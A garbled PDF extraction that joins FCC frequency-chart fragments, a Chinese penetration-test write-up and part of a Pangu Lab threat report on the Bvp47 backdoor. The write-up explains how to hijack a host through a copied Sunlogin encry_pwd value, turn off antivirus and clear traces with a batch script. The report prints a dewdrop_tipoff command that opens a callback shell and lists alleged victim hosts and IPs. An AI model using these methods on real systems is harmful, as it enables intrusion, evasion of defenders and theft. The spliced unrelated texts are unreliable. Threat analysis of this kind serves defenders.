RES. INTER- SAT SPACE RES. EARTH-ES INTER- SAT EARTH-ES SPACE RES. MOBILE FIXED EARTH EXPLORATION SAT. (Passive) S P A C E RES. MOBILE FIXED INTER - SAT FIXED MOBILE INTER- SAT RADIO- LOC. FIXED MOBILE EARTH EXPLORATION SAT. (Passive) MOBILE FIXED INTER- SATELLITE FIXED MOBILE** MOBILE** INTER- SATELLITE MOBILE INTER- SATELLITE RADIOLOC. Amateur Amateur Sat. Amateur RADIOLOC. AMATEUR SAT AMATEUR RADIOLOC. SPACE RESEARCH (Passive) EARTH EXPL SAT. (Passive) FIXED MOBILE INTER- SATELLITE SPACE RESEARCH (Passive) EARTH EXPL SAT. (Passive) Amatuer FIXED MO- BILE INTER- SAT. SPACE RES. E A R T H EXPL . SAT INTER- SATELLITE INTER-SAT. INTER-SAT. MOBILE FIXED FX-SAT (S - E) BCST - SAT. MOB** B- SAT. FX-SAT SPACE RESEARCH SPACE RES.. This chart is a graphic single-point-in-time portrayal of the Table of Frequency Allocations used by the FCC and NTIA. As such, it does not completely reflect all aspects, i.e., footnotes and recent changes made to the Table of Frequency Allocations. Therefore, for complete information, users should consult the Table to determine the current status of U.S. allocations.
pdf
本⽂作者:Drunkmars(⾸次投稿,赠送知识星球) 最近在某地⽅举⾏攻防演练的时候进⼊后台管理拿到了⼀个webshell,但是 tasklist /svc tasklist /svc 查 看进程360、电脑管家赫然在列,我的⼩伙伴本来准备使⽤注⼊dll来达到上线cs多⼈运动的效果, 但是奈何中间出了点差错始终上不了线,机缘巧合之下发现被控主机有⼀个 SunloginClient.exe SunloginClient.exe 进程,于是便有了下⽂。 0 x 0 1 初 探 0 x 0 1 初 探 进⼊后台的过程就不说了,这⾥上传了⼀个asp⼤⻢进⼊到对⽅主机,whoami⼀看⼀个user权限 然后⼀发 tasklist /svc tasklist /svc 放到进程⼀查,好家伙360+电脑管家的组合拳 这⾥卡了很久,因为⽬标机器为 windows2008 r2 windows2008 r2 ,跟win10系统有点差别,所以我的⼩伙伴注⼊ dll的时候⽼是出⼀些问题,导致直接免杀上线⼀直没有成功。 中间这个资产就放了⼀段时间,到后⾯我们实在找不出其他可以打的靶标之后,我⼜突发奇想的回来看 ⼀下进程,翻⼀下⽬录,这次有了新发现。 ⾸先发现了 SunloginClient.exe SunloginClient.exe 这个进程,这个进程我判断出来应该是向⽇葵的进程。 因为之前是直接上了⼀个哥斯拉⻢,⽽这个哥斯拉⻢在访问D盘⽬录下的⽂件时是有乱码且没有权限 进去的,所以当时就没有管这⼏个⽂件夹,以为是user权限进不去这⼏个⽂件夹,这次上了⼀个单独 的asp⼤⻢之后发现了⼀个向⽇葵⽂件夹,进去⼀个 config.ini config.ini 赫然在列,这就很舒服了。 360和电脑管家也是安装在d盘,要不是这两个杀软上线打进内⽹的时间可能会更快 0 x 0 2 进 展 0 x 0 2 进 展 0 x 0 2 进 展 0 x 0 2 进 展 向⽇葵的配置⽂件最重要的地⽅有三处,分别 为: encry_pwd encry_pwd 、 fastcode fastcode 、 fastcodehistory fastcodehistory encry_pwd encry_pwd 为本机验证码,为密⽂,不可解密 fastcode fastcode 为本机识别码,为明⽂ fastcodehistory fastcodehistory 为本机识别码历史,为密⽂,⽤base64解密即可,如果你的向⽇葵从来没有 连接过别的主机, fastcodehistory fastcodehistory 就为空 为什么说这⼏个东西是向⽇葵⽂件⾥最重要的呢,⾸先要了解向⽇葵的验证机制,当只输⼊伙伴识别码 ⽽不输⼊验证码时,是需要对⽅主机同意后才能远程控制电脑的 ⽽当识别码和验证码都输⼊正确的情况下就不需要验证就可直接进⼊对⽅桌⾯并进⾏操作,这⾥可以理 解为输⼊验证码正确就去掉了⼀个UAC过程 0 x 0 3 复 现 0 x 0 3 复 现 知道原理过后,我也没有贸然就去直接⾏动,谁也不会保证在过程中会出⼀些其他的什么错误,所以我 为了保险这⾥在本地的两台虚拟机先进⾏实验 攻击机:192.168.10.3 被攻击机:192.168.10.4 为了尽可能的还原主机环境,我特意为被攻击机装上了360,打开向⽇葵如下图所⽰ 攻击机打开向⽇葵如下图所⽰ ⾸先我试着把我攻击机的验证码所对应的密⽂修改到被攻击机的 config.ini config.ini ⽂件中 ⾸先看⼀下被攻击机原本的验证码 这⾥我把攻击机的验证码直接改到被攻击机的 config.ini config.ini 上,这⾥我已经改了但是发现本机验证 码没有反应 因为是本地环境我试着重启⼀下发现本机验证码才会跟攻击机的验证码相同 这⾥有⼀个重点,如果要更改被攻击机的验证码就必须要被攻击机端的向⽇葵重启才⾏,但是这个地⽅ 有两个问题,⼀是我拿到的webshell只是user权限,⼆是我查看了向⽇葵的进程为system权 限,如果在命令⾏直接taskkill它的pid应该是不能结束的 这⾥被攻击机上更换验证码后需要重启权限不够,但是验证码重启之后确实是更攻击机上⼀样,那么我 想了⼀下能不能把被攻击机上的验证码放到攻击机上来呢? 这⾥其实跟流量代理部分的思想差不多,正向代理⽤不了的情况下使⽤反向代理 先更新⼀下被攻击机的验证码,复制 encry_pwd=wdtEBc/PIxU= encry_pwd=wdtEBc/PIxU= 复制到攻击机的encry_pwd的位置,如图所⽰ 重启后发现本机验证码已经变为了被攻击机的验证码,这时候就可以⽤被攻击机的识别码和验证码去直 接连接主机的远程桌⾯了,上去之后直接简单粗暴关掉360 0 x 0 4 实 战 0 x 0 4 实 战 0 x 0 4 实 战 0 x 0 4 实 战 这⾥我先把靶机的 config.ini config.ini 下载回本地 然后修改我的encry_pwd为靶机的encry_pwd,⽤fastcode连接 直接点击远程协助,终于⻅到了庐⼭真⾯⽬ 进⼊之后发现他好像正在看任务管理器,本来常规应该是先 quser quser 查看在线情况的,这⾥ quser quser 执⾏权限不够,也不知道我到底挤他没有,因为之前上了两个⻢好像被杀了。不过⼀番⿇溜 操作关360、管家直接powershell上线,不过当时拿到shell之后也确实命令回显特别慢,在2008 上装这么多东西能不慢吗,也不知道这位⽼哥咋想的。 0 x 0 5 后 记 0 x 0 5 后 记 向⽇葵的每⼀次登录都会有记录,所以使⽤向⽇葵登录的时候也会有痕迹,也和进内⽹⼀样需要做痕迹 清除,向⽇葵可能需要清除痕迹的地⽅可能有以下⼏处: 向⽇葵的权限确实很⾼,在内⽹中如果能拿到向⽇葵的配置⽂件就相当于已经拿下了这台主机,因为 system权限连360都限制不了。 向⽇葵有两种安装模式,默认的安装模式是会弹UAC,⽽免安装绿⾊版运⾏则不需要,在进⼊内⽹之 后也可以⽤免安装向⽇葵这种骚姿势实现内⽹穿透,只是这⾥会需要修改注册表,需要⼀定的权限,这 ⾥就不拓展了,只是给师傅们提供⼀种思路,溜了溜了。 @echo off taskkill /f /im SunloginClient.exe del /s /q C:\Windows\Prefetch\SUNLOGINCLIENT*.pf del /s /q %userprofile%\AppData\Roaming\Microsoft\Windows\Recent\SunloginClient*.lnk rmdir /s /q C:\ProgramData\Oray\SunloginClient rmdir /s /q %userprofile%\AppData\Roaming\Oray\SunloginClient reg delete "HKCU\Software\Oray\SunLogin\SunloginClient" /f reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" /v SunloginClient /f del /s /q SunloginClient.exe
pdf
Bvp47 美国NSA方程式的顶级后门 技术细节 版本1.7 目录Contents 1. 摘要 2. 前所未见的后门 3. 后门程序概览 – Bvp47 4. 组织关联和溯源 “The Shadow Brokers Leaks”事件关联 非对称算法私钥匹配 样本深度关联 完整控制命令行 斯诺登事件关联 Bvp47—美国 NSA 方程式组织的顶级后门 文件结构 文件属性 文件结构 使用场景 4 4 4 6 1 2 4 8 8 9 9 12 13 15 5. 遍布全球的受害者 泄露出的受害者信息 利用受害主机作为跳板攻击目标 6. Bvp47后门技术详解 主要行为 Payload 字符串加解密 函数名混淆技巧 Bvp 引擎 系统 Hook 内核模块防检测 BPF 隐蔽信道 信道加密与解密 运行环境检测 其它技术特点 16 16 26 27 27 28 31 32 33 38 45 45 48 50 51 7. 总结 52 8. 参考资源 53 www.pangulab.cn 北京奇安盘古实验室科技有限公司 1. 摘要 2013年,盘古实验室研究员在针对某国内要害部门主机的调查过程中,提取了一个经过复杂加密 的Linux平台后门,其使用的基于SYN包的高级隐蔽信道行为和自身的代码混淆、系统隐藏、自毁设计 前所未见。在不能完全解密的情况下,进一步发现这个后门程序需要与主机绑定的校验码才能正常运 行,随后研究人员又破解了校验码,并成功运行了这个后门程序,从部分行为功能上断定这是一个顶 级APT后门程序,但是进一步调查需要攻击者的非对称加密私钥才能激活远控功能,至此研究人员的 调查受阻。基于样本中最常见的字符串“Bvp”和加密算法中使用数值0x47,命名为“Bvp47”。 2016年,知名黑客组织“影子经纪人”(The Shadow Brokers)宣称成功黑进了“方程式组 织”,并于2016年和2017年先后公布了大量“方程式组织”的黑客工具和数据。盘古实验室成员从 “影子经纪人”公布的文件中,发现了一组疑似包含私钥的文件,恰好正是唯一可以激活Bvp47顶级 后门的非对称加密私钥,可直接远程激活并控制Bvp47顶级后门。可以断定,Bvp47是属于“方程式 组织”的黑客工具。研究人员通过进一步研究发现,“影子经纪人”公开的多个程序和攻击操作手 册,与2013年前美国中情局分析师斯诺登在“棱镜门”事件中曝光的NSA网络攻击平台操作手册[参考 3、4]中所使用的唯一标识符完全吻合。鉴于美国政府以“未经允许传播国家防务信息和有意传播机密 情报”等三项罪名起诉斯诺登,可以认定“影子经纪人”公布的文件确属NSA无疑,这可以充分证 明,方程式组织隶属于NSA,即Bvp47是NSA的顶级后门。“影子经济人”的文档揭示受害范围超过 45个国家287个目标,包括俄罗斯、日本、西班牙、德国、意大利等,持续十几年时间,某日本受害 者被利用作为跳板对目标发起攻击。 盘古实验室为多起Bvp47同源样本事件起了一个代号“电幕行动”。电幕(Telescreen)是英国 作家乔治·奥威尔在小说《1984》中想象的一个设备,可以用来远程监控部署了电幕的人或组织,“思 想警察”可以任意监视任意电幕的信息和行为。 方程式组织是世界超一流的网络攻击组织,普遍认为隶属于美国国家安全局NSA。从所获取的包 括Bvp47在内的相关攻击工具平台来看,方程式组织确实堪称技术一流,工具平台设计良好、功能强 大、广泛适配,底层以0day漏洞体现的网络攻击能力在当时的互联网上可以说畅通无阻,获取被隐秘 控制下的数据如探囊取物,在国家级的网空对抗中处于主导地位。 1 www.pangulab.cn 北京奇安盘古实验室科技有限公司 2. 前所未见的后门 2015年某月,某客户部署的高级威胁检测系统提示特殊网络入侵告警,且重要服务器之间存在可 疑的通信活动,事件响应过程中在网络中的几个节点位置抓包并获取了服务器的磁盘镜像。经过初步 分析,系统网络中至少两台服务器已经被入侵并被植入了后门,而且存在比较大量地数据外泄迹象。 事件调查涉及3台服务器,1台为外部攻击来源的主机A,另外2台内部受影响服务器V1(邮件服务 器)和V2(某业务服务器)。外部主机A与V1服务器存在非正常的通信。具体表现在A先向V1服务器 的80端口发送一个带有264字节Payload的SYN包(正常的SYN包一般不带Payload),之后V1服务器 立即向A机器的高端端口发起对外连接并保持交换大量数据,数据通信是加密的。 与此几乎同时,V1服务器连接V2服务器的SMB服务并执行一些敏感操作,包括使用管理员账号登 录到V2服务器、尝试打开终端服务、枚举目录、通过计划任务执行Powershell脚本等。 同时发生的还有,V2服务器连接V1服务器的8081端口下载可疑文件,包含了Powershell脚本及 第二阶段的加密数据。 V1服务器的8081端口上启动了一个Python实现的简易HTTP服务器,V2服务器从上面获取了两个 文件:index.html及index.htm。其中,index.html为一个经过Base64编码的Powershell脚本,此脚 本在服务器上获得执行以后会继续从V1服务器上下载一个名为index.htm的文件,内容Base64编码过 的数据,但解码以后发现是不可读的字串,通过对执行下载index.htm的Powershell脚本的分析证明 这是一段通过非对称加密的数据。 接下来,V2服务器连接V1服务器的高端端口,以一种自有协议进行通信,大量交互的传输数据是 加密的。 2 www.pangulab.cn 北京奇安盘古实验室科技有限公司 基于以上的观察从以上的分析可以推论V1/V2服务器都已被植入了后门,整合A机器、V1/V2服务 器的整体交互情况,我们可以对机器之间的通信过程有如下的还原: A机器连接V1服务器的80端口发送敲门请求,启动V1服务器上的后门程序; V1服务器反向连接A机器高端端口建立数据通路; V2服务器连接V1服务器上开启的后门Web服务,从V1服务器获取PowerShell执行; V1服务器连接V2服务器的SMB服务端口进行命令操作; V2服务器在高端端口与V1服务器建立连接采用自有加密协议进行数据交互; V1服务器同步与A机器进行数据交互,V1服务器充当A机器与V2服务器之间的数据中转; 这是之前从来没有见过的后门通信技术,暗示背后一个强大技术能力的组织。 3 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 的基本文件结构包括 loader 和 payload 两部分,loader 主要负责 payload 的解密和内存加 载,payload 是经过压缩,加密处理的,18个分片被简单的分成三大类型T0、T1、T2,命名为 Slice0x00-Slice0x11: - T0{Slice0x00} - T1{Slice0x01-Slice0x10} - T2{Slice0x11} 经过解压分析后,Bvp47 的 18 个分片大小如下: 3. 后门程序概览 – Bvp47 经过一番努力,取证团队成功地在受入侵的机器上提取了后门文件,发现在样本文件中比较常见 字符串“Bvp”以及在加密算法中使用数值0x47,暂将样本文件命名为“Bvp47”。 文件结构 文件属性 文件结构 文件名 Hash(MD5) 大小 文件路径 平台 initserial 或其它 58b6696496450f254b1423ea018716dc 299,148 字节 /usr/bin/modload Linux ELF Payload 4 www.pangulab.cn 北京奇安盘古实验室科技有限公司 根据每个分片所使用的 Bvp 引擎接口调用个数(Bvp 引擎介绍见文中其它章节)和导出函数个数对 18 个分片作了整理,具体如下(红色部分为需重点关注模块): 序号 主要功能 Bvp引用个数 导出函数 备注 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x09 0x0A 0x0B 0x0C 0x0D 0x0E 0x0F 0x10 0x11 190 490 5 14 3 16 152 264 17 3 14 0 0 0 0 94 0 0 192 8 9 2 3 10 10 3 8 0 0 0 15 0 17 0 1 个 init 函数 module_main module_main module_main 检测运行环境 非代码模块,Bvp 偏移数据库 Dewdrops SectionChar_Agent 非代码模块,Bvp 偏移数据库 PATh=. crond 5 www.pangulab.cn 北京奇安盘古实验室科技有限公司 团队在自己搭建的环境中重现了Bvp47后门的运用,大致理清了其使用场景和基本通信机制。 Bvp47作为入侵成功后长期控制被害者的重要后门平台,一般存活在和互联网通信的非军事区的 Linux 操作系统中,在整体攻击中主要承担核心的控制桥梁通信作用,如下图所示: 攻击者(敲门SYN包) 互联网(例如:443) TCP 纵深渗透 路由器、防火墙 网关 内部服务器 DMZ Email服务器等 Hacker 使用场景 在分析后,还原了实际的网络攻击数据包流程。 6 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Bvp47 利用常见的网络检测设备一般不会对 TCP 握手期间的数据包做检测的弱点,使用在第一个 SYN 包中夹带数据的方式来躲避网络安全设备的检测。 在本文后面环节的分析中,Bvp47 的隐蔽通信体系是一个从密码学,网络,Linux 操作系统等多个 层面上构建出来的高级攻击体系,可以称它为高级版的“SYNKnock”(之前的Cisco只有简单校验)。 【步骤 1】 提到的 SYN 包中的 payload 数据如下: 【步骤 3】 受害 IP 在 TCP 握手成功后发包内容如下: 1. 一旦控制端(192.168.91.131)发送一次带一定长度的特定 payload(长度 136 字节)的 TCP 协 议SYN 包给“受害 IP”(192.168.91.128)的1357 端口(可直接复用存活端口); 2.“受害 IP”(192.168.91.128)接收到该特殊 SYN 包后立即按照指令执行连接操作到“控制端”的 2468 端口; 3.“受害 IP”(192.168.91.128)进入被控制流程 ; Bvp47 和控制端的隐蔽通信场景,流程如下: 7 www.pangulab.cn 北京奇安盘古实验室科技有限公司 2016年,名为The Shadow Broker(影子经纪人)的黑客组织公布了eqgrp-free-file.tar.xz.gpg, eqgrp-auction-file.tar.xz.gpg两个压缩文件,声称攻陷了美国NSA的方程式组织,压缩文件重包含了 方程式组织的大量黑客工具。其中eqgrp-free-file.tar.xz.gpg压缩文件提供公开下载以供查验,另一份 以时价100万枚比特币出售eqgrp-auction-file.tar.xz.gpg文件的解压密码,但有价无市,选择于2017 年4月公布了eqgrp-auction-file.tar.xz.gpg解压密码。 在针对eqgrp-auction-file.tar.xz.gpg文件分析过程中,发现 Bvp47和压缩包中的攻击工具有技术 确定性的关联,主要包括 dewdrops,sutionchar_agents, tipoffs,StoicSurgeon,insision 等目 录,其中文件dewdrops_tipoffs中包含了Bvp47进行RSA公私钥通信所需的私钥,在此基础上可以确 认 Bvp47 是出自“方程式组织”之手。 其中 dewdrops,sutionchar_agents 是被作为组成功能集成在 Bvp47 样本平台中,tipoffs 目录 则是 Bvp47 远程通信的控制端。 4. 组织关联和溯源 “The Shadow Brokers Leaks”事件关联 8 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在 tipoffs 目录下包含了 Bvp47 隐蔽信道环节中的RSA非对称算法私钥,只有在拥有该RSA私钥的 基础上才能真正触发 Bvp47 的命令执行等操作。 非对称算法私钥匹配 在eqgrp-auction-file.tar.xz.gpg文件\Linux\doc\old\etc\目录下的user.tool.stoicsur- geon.COMMON文件,描述了tipoff-BIN工具使用方法,同时也透露出了一系列的信息: 1. Bvp47后门中包含的Dewdrop模块,是可以直接被tipoff通过非对称密钥触发的; 2. COMMON文件中的后门“StoicSurgeon”,即坚忍的外科医生,多平台的高级rootkit后门, 可以和Dewdrop模块搭配使用; 3. “StoicSurgeon”还有个小兄弟,“Incision”,即切口,亦是rootkit后门; 4. 入侵过程中,”Incision”可以升级为”StoicSurgeon”; 样本深度关联 9 www.pangulab.cn 北京奇安盘古实验室科技有限公司 Dewdrop支持的操作系统基本全面覆盖了主流的Linux发行版、JunOS、FreeBSD、Solaris等。 StoicSurgeon支持的操作系统基本全面覆盖了主流的Linux发行版、JunOS、FreeBSD、Solaris 等。 10 www.pangulab.cn 北京奇安盘古实验室科技有限公司 文件“user.tool.linux.remove_install_ss.COMMON”中提供了如何从Incision到Stoicsurgeon 的升级方法。 11 www.pangulab.cn 北京奇安盘古实验室科技有限公司 完整控制命令行 通过以下命令行操作可以直接远程控制 Bvp47 后门进行反弹回连操作: 其中,ish对应在\eqgrp-auction-file\Linux\bin目录下的文件ish,结合其泄露的ish工具成功激 活了后门Bvp47,完成远程下载执行功能,开启远程shell。 #./tipoffs/dewdrop_tipoff --trigger-address 11.22.33.44 --target-address 12.34.56.78 --target-protocol tcp --target-port 1357 --callback-address 13.24.57.68 --callback-port 2468 --start-ish 12 www.pangulab.cn 北京奇安盘古实验室科技有限公司 2013年12月,德国媒体《明镜》发布了一份NSA ANT catalog,共50张图片,这是一系列NSA 于2008-2009编写的绝密资料,包括了一系列高级黑客工具的使用,信息来自于当年“爆料”的爱德 华斯诺登或第二个未知的情报提供者[参考3]。 NSA ANT catalog中的FOXACID-Server-SOP-Redacted.pdf文件[参考4],即”酸狐狸”计划— 服务器标准作业流程修订版,NSA漏洞攻击作业平台功能描述和使用手册,在这份标准作业文件中描 述了作业所需强制性的唯一标识代码,"ace02468bdf13579"。 斯诺登事件关联 此外,还有别的命令可以远程执行指定程序: 13 www.pangulab.cn 北京奇安盘古实验室科技有限公司 在The Shadow Brokers泄露的eqgrp-free-file.tar.xz.gpg压缩文中,\eqgrp-free-file\Firewall\- BANANAGLEE\BG3000\Install\LP\Modules\PIX\目录下的SecondDate-3021.exe可执行文件,亦 存在"ace02468bdf13579"唯一标识代码,且文件名SecondDate符合标准作业文档描述。 如果说SecondDate-3021.exe只是一个巧合。泄露的工具集中与代号为SecondDate工具相关的 47个文件中,中都出现了"ace02468bdf13579"这一字符串,这显然就不是什么巧合可以解释的了吧。 且在一个名为\eqgrp-free-file\Firewall\SCRIPTS\目录下的SecondDate文件,描述了SecenData 的使用方法,与之前提到FOXACID-Server-SOP-Redacted.pdf描述一致。 14 www.pangulab.cn 北京奇安盘古实验室科技有限公司 而且在“EquationGroup-master\Linux\etc”目录下的opscript.txt中也明确了STOICSURGEON 与SECONDDATE程序的关系: 因此,有足够理由认为2016、2017年The Shadow Brokers泄露的两个压缩文件属于NSA方程式 组织的黑客攻击工具。 1. NSA ANT catalog的材料FOXACID-Server-SOP-Redacted.pdf中所提到的黑客工具中的唯一特征 标识符” ace02468bdf13579”在”The Shadow Brokers Leaks”的工具集中多次出现; 2. Bvp47后门程序的RSA私钥存在于” The Shadow Brokers Leaks”的工具tipoff-BIN中; 3. 使用” The Shadow Brokers Leaks”的工具tipoff-BIN可以直接激活后门程序Bvp47的Dewdrops 模块的隐蔽信道,Dewdrops和STOICSURGEON等工具同属于一个后门系列; 4. 最终确定Bvp47后门是由” The Shadow Brokers Leaks”工具模块拼装成的,即Bvp47属于美国 NSA下的“方程式”组织的顶级后门; Bvp47—美国NSA方程式组织的顶级后门 15 www.pangulab.cn 北京奇安盘古实验室科技有限公司 泄露出的受害者信息 5. 遍布全球的受害者 在eqgrp-auction-file.tar.xz.gpg文件\Linux\bin\varkeys\pitchimpair\目录下提供了提供了一份 潜在的Dewdrops、StoicSurgeon和Incision后门受害者列表,受害者遍布全球,也包括部分中国地区 的要害单位,且实际受影响目标不止于此: 域名 IP 国家 详细信息 sonatns.sonatrach.dz enterprise.telesat.com.co voyager1.telesat.com.co metcoc5cm.clarent.com iti-idsc.net.eg mbox.com.eg pksweb.austria.eu.net opserver01.iti.net.pk sussi.cressoft.com.pk ns1.multi.net.pk mpkhi-bk.multi.net.pk tx.micro.net.pk 193.194.75.35 66.128.32.67 66.128.32.68 213.132.50.10 163.121.12.2 213.212.208.10 193.154.165.79 202.125.138.184 202.125.140.194 202.141.224.34 202.141.224.40 203.135.2.194 阿尔及利亚 阿根廷 阿根廷 阿联酋 埃及 埃及 奥地利 巴基斯坦 巴基斯坦 巴基斯坦 巴基斯坦 巴基斯坦 阿尔及利亚 北美地区 北美地区 阿联酋DU电信 埃及 埃及 奥地利 巴基斯坦 巴基斯坦 巴基斯坦 巴基斯坦 巴基斯坦 16 www.pangulab.cn 北京奇安盘古实验室科技有限公司 pop.net21pk.com connection1.connection.com.br connection2.connection.com.br vnet3.vub.ac.be debby.vub.ac.be theta.uoks.uj.edu.pl rabbit.uj.edu.pl okapi.ict.pwr.wroc.pl ids2.int.ids.pl most.cob.net.ba webnetra.entelnet.bo ns1.btc.bw 203.135.45.66 200.160.208.4 200.160.208.8 134.184.15.13 134.184.15.79 149.156.89.30 149.156.89.33 156.17.42.30 195.117.3.32 195.222.48.5 166.114.10.28 168.167.168.34 巴基斯坦 巴西 巴西 比利时 比利时 波兰 波兰 波兰 波兰 波斯尼亚 玻利维亚 博茨瓦纳 巴基斯坦 巴西圣保罗 巴西圣保罗 比利时布鲁塞尔自由大学 比利时布鲁塞尔自由大学 波兰academic centre in Southern Poland 波兰academic centre in Southern Poland 波兰教育网 波兰 波斯尼亚和黑塞哥维那 玻利维亚 博茨瓦纳 mailhost.fh-muenchen.de sunbath.rrze.uni--erlangen.de niveau.math.uni-bremen.de s03.informatik.uni-bremin.de kalliope.rz.unibw--muenchen.de kommsrv.rz.unibw-muenchen.de servercip92.e-technik.uni-rostock.de paula.e-technik.uni-rostock.de pastow.e-technik.uni-rostock.de xilinx.e-technik.uni-rostock.de asic.e-technik.uni-rostock.de jupiter.mni.fh.giessen.de 129.187.244.204 131.188.3.200 134.102.124.201 134.102.201.53 137.193.10.12 137.193.10.8 139.30.200.132 139.30.200.225 139.30.200.36 139.30.202.12 139.30.202.8 212.201.7.17 德国 德国 德国 德国 德国 德国 德国 德国 德国 德国 德国 德国 德国巴伐利亚州慕尼黑市 Leibniz Rechenzentrum公司 德国埃尔朗根-纽伦堡大学 德国不来梅大学 德国不来梅大学 德国慕尼黑联邦国防军大学 德国慕尼黑联邦国防军大学 德国 德国 德国 德国 德国 德国吉森-弗里德贝格应用技术大学 saturn.mni.fh-giessen.de n02.unternehmen.com no1.unternehemen.com no3.unternehmen.org unk.vver.kiae.rr sunhe.jinr.ru mail.ioc.ac.ru www.nursat.kz kserv.krldysh.ru ns2.rosprint.ru gate.technopolis.kirov.ru jur.unn.ac.ru 212.201.7.21 62.116.144.147 62.116.144.150 62.116.144.190 144.206.175.2 159.93.18.100 193.233.3.6 194.226.128.26 194.226.57.53 194.84.23.125 217.9.148.61 62.76.114.22 德国 德国 德国 德国 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 德国吉森-弗里德贝格应用技术大学 德国巴伐利亚州慕尼黑InterNetX公司 德国巴伐利亚州慕尼黑InterNetX公司 德国巴伐利亚州慕尼黑InterNetX公司 俄罗斯Kurchatov原子能研究所 俄罗斯dubna university 俄罗斯 俄罗斯 俄罗斯 俄罗斯 俄罗斯 俄罗斯 17 www.pangulab.cn 北京奇安盘古实验室科技有限公司 ns1.bttc.ru spirit.das2.ru m0-s.san.ru tayuman.info.com.ph ns2-backup.tpo.fi mail.tpo.fi ns.youngdong.ac.kr ns1.youngdong.ac.kr ns.kix.ne.kr ns.khmc.or.kr ns.hanseo.ac.kr mail.hanseo.ac.kr e3000.hallym.ac.kr win.hallym.ac.kr mail.hallym.ac.kr dcproxy1.thrunet.com mail.mae.co.kr ns2.ans.co.kr ns.eyes.co.kr ftp.hyunwoo.co.kr jumi.hyunwoo.co.kr mail.utc21.co.kr doors.co.kr orange.npix.net 210.115.225.16 210.115.225.17 210.115.225.25 210.117.65.44 210.118.179.1 210.126.104.74 210.98.224.88 211.232.97.195 211.232.97.217 211.40.103.194 211.43.193.9 211.43.194.48 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国青州 韩国 韩国 韩国 韩国LG DACOM 韩国 韩国 80.82.162.118 81.94.47.83 88.147.128.28 203.172.11.21 193.185.60.40 193.185.60.42 202.30.58.1 202.30.58.5 202.30.94.10 203.231.128.1 203.234.72.1 203.234.72.4 俄罗斯联邦 俄罗斯联邦 俄罗斯联邦 菲律宾 芬兰 芬兰 韩国 韩国 韩国 韩国 韩国 韩国 俄罗斯 俄罗斯 俄罗斯 菲律宾 芬兰 芬兰 韩国 韩国 韩国National Infomation Society Agency 韩国KYUNG-HEE UNIVERSITY 韩国KT电信 韩国KT电信 sky.kies.co.kr smuc.smuc.ac.kr ns.anseo.dankook.ac.kr myhome.elim.net ns.kimm.re.kr mail.howon.ac.kr ns.hufs.ac.kr san.hufs.ac.kr ns.icu.ac.kr winner.hallym.ac.kr ns.hallym.ac.kr winners.yonsei.ac.kr 203.236.114.1 203.237.176.1 203.237.216.2 203.239.130.7 203.241.84.10 203.246.64.14 203.253.64.1 203.253.64.2 210.107.128.31 210.115.225.10 210.115.225.11 210.115.225.14 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国 韩国教育网 韩国教育网 韩国 韩国KOREA INSTITUTE OF MACHINERY & MATERIALS 韩国教育网 韩国Hankuk University of Foreign Studies 韩国Hankuk University of Foreign Studies 韩国世宗大学 韩国 韩国 韩国 18 www.pangulab.cn 北京奇安盘古实验室科技有限公司 seoildsp.co.kr logos.uba.uva.nl opcwdns.opcw.nl nl37.yourname.nl ns.gabontelecom.com itellin1.eafix.net ns1.starnets.ro ns2.chem.tohoku.ac.jp ns.global-one.dk eol1.egyptonline.com rayo.pereira.multi.net.co mn.mn.co.cu smtp.bangla.net ns1.bangla.net mail.bangla.net dns2.unam.mx dns1.unam.mx ns.unam.mx sedesol.sedesol.gob.mx www.pue.uia.mx docs.ccs.net.mx info.ccs.net.mx segob.gob.mx mercurio.rtn.net.mx mercurio.rtn.net.mx ciidet.rtn.net.mx tuapewa.polytechnic.edu.na sunfirev250.cancilleria.gob.ni ccmman.rz.unibw--muenchen.de unknown.unknown www21.counsellor.gov.cn mbi3.kuicr.kyoto-u.ac.jp cs-serv02.meiji.ac.jp icrsun.kuicr.kyoto-u.ac.jp icrsun.kuicr.kyoto-u.ac.jp sunl.scl.kyoto-u.ac.jp 218.36.28.250 145.18.84.96 195.193.177.150 82.192.68.37 217.77.71.52 212.49.95.133 193.226.61.68 130.134.115.132 194.234.33.5 206.48.31.2 206.49.164.2 216.72.24.114 203.188.252.10 203.188.252.2 203.188.252.3 132.248.10.2 132.248.204.1 132.248.253.1 148.233.6.164 192.100.196.7 200.36.53.150 200.36.53.160 200.38.166.2 204.153.24.1 204.153.24.14 204.153.24.32 196.31.225.2 165.98.181.5 137.93.10.6 125.10.31.145 130.34.115.132 133.103.101.21 133.26.135.224 133.3.5.2 133.3.5.20 133.3.5.30 韩国 荷兰 荷兰 荷兰 加蓬 肯尼亚 罗马尼亚 美国 美国 美国 美国 美国 孟加拉 孟加拉 孟加拉 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 南非 尼加拉瓜 挪威 日本 日本 日本 日本 日本 日本 日本 韩国 荷兰 荷兰 荷兰阿姆斯特丹LeaseWeb IDC 加蓬 肯尼亚 罗马尼亚 美国 美国 美国 美国 孟加拉 孟加拉 孟加拉 墨西哥国立自治大学 墨西哥国立自治大学 墨西哥国立自治大学 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 墨西哥 纳米比亚 尼加拉瓜国立工程大学 挪威 日本ATHOME网络 日本东北大学 日本 日本明治大学 日本京都大学 日本京都大学 日本京都大学 19 www.pangulab.cn 北京奇安盘古实验室科技有限公司 uji.kyoyo-u.ac.jp ci970000.sut.ac.jp ns.bur.hiroshima-u.ac.jp fl.sun-ip.or.jp son-goki.sun-ip.or.jp nodep.sun-ip.or.jp hk.sun-ip.or.jp ns1.sun-ip.or.jp proxy1.tcn.ed.jp photon.sci-museum.kita.osaka.jp noc35.corp.home.ad.jp noc37.corp.home.ad.jp noc38.corp.home.ad.jp noc33.corp.home.ad.jp noc21.corp.home.ad.jp noc23.corp.home.ad.jp noc25.corp.home.ad.jp noc26.corp.home.ad.jp 